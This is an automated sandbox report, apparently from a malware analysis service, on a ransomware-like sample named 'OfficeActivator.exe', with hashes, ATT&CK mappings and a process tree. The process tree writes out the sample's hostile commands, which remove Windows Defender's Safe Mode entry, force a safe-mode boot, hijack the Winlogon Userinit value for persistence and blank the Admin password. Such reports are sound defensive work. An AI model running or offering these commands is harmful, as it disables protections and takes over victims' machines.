8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d

Reason

Machine shutdown

General

Target

OfficeActivator.exe
Size

87KB
MD5

1b4e57be75e855e54e84f55874782d4b
SHA1

f5f17bae63faad537233bb38647940bda7340b2c
SHA256

8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d
SHA512

076245019b439583d4a45e46e6c836a2724270aba0a6e1b04e20c4157bdb32533045ee118c22a013e6f7127f1d34eb8b82738156dd152dae7c4ef9da1cf39da9
SSDEEP

1536:LcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEq:4WNGszjoih/NDh/NDuk+XkGAK/hztXcE

Score

10^/10

defense_evasion evasion persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/2380-1-0x00000000002B0000-0x00000000002CA000-memory.dmp	disable_win_def

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Users\\Admin\\AppData\\Local\\Temp\\OfficeActivator.exe,C:\\Windows\\system32\\userinit.exe"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2536	bcdedit.exe

Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefend	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1920	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe
2380	OfficeActivator.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	OfficeActivator.exe
Token: SeShutdownPrivilege	2136	shutdown.exe
Token: SeRemoteShutdownPrivilege	2136	shutdown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 1920	2380	OfficeActivator.exe	30
PID 2380 wrote to memory of 1920	2380	OfficeActivator.exe	30
PID 2380 wrote to memory of 1920	2380	OfficeActivator.exe	30
PID 2380 wrote to memory of 2536	2380	OfficeActivator.exe	31
PID 2380 wrote to memory of 2536	2380	OfficeActivator.exe	31
PID 2380 wrote to memory of 2536	2380	OfficeActivator.exe	31
PID 2380 wrote to memory of 2544	2380	OfficeActivator.exe	32
PID 2380 wrote to memory of 2544	2380	OfficeActivator.exe	32
PID 2380 wrote to memory of 2544	2380	OfficeActivator.exe	32
PID 2380 wrote to memory of 2360	2380	OfficeActivator.exe	35
PID 2380 wrote to memory of 2360	2380	OfficeActivator.exe	35
PID 2380 wrote to memory of 2360	2380	OfficeActivator.exe	35
PID 2380 wrote to memory of 2136	2380	OfficeActivator.exe	38
PID 2380 wrote to memory of 2136	2380	OfficeActivator.exe	38
PID 2380 wrote to memory of 2136	2380	OfficeActivator.exe	38
PID 2360 wrote to memory of 2320	2360	net.exe	40
PID 2360 wrote to memory of 2320	2360	net.exe	40
PID 2360 wrote to memory of 2320	2360	net.exe	40

C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe
"C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\system32\reg.exe
  "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
  2⤵
  - Impair Defenses: Safe Mode Boot
  - Modifies registry key
  PID:1920
- C:\Windows\system32\bcdedit.exe
  "bcdedit.exe" /set {default} safeboot network
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2536
- C:\Windows\system32\reg.exe
  "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe","C:\Windows\system32\userinit.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:2544
- C:\Windows\system32\net.exe
  "net.exe" user Admin ""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Admin ""
    3⤵
    PID:2320
- C:\Windows\system32\shutdown.exe
  "shutdown.exe" /r /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2136

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2756

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Impair Defenses

1

T1562

Safe Mode Boot

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

1

T1490

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Downloads

memory/2380-0-0x000007FEF5BA3000-0x000007FEF5BA4000-memory.dmp

Filesize
4KB

Download
memory/2380-1-0x00000000002B0000-0x00000000002CA000-memory.dmp

Filesize
104KB

Download
memory/2380-2-0x000007FEF5BA0000-0x000007FEF658C000-memory.dmp

Filesize
9.9MB

Download
memory/2380-3-0x000007FEF5BA0000-0x000007FEF658C000-memory.dmp

Filesize
9.9MB

Download
memory/2756-4-0x0000000002D90000-0x0000000002D91000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads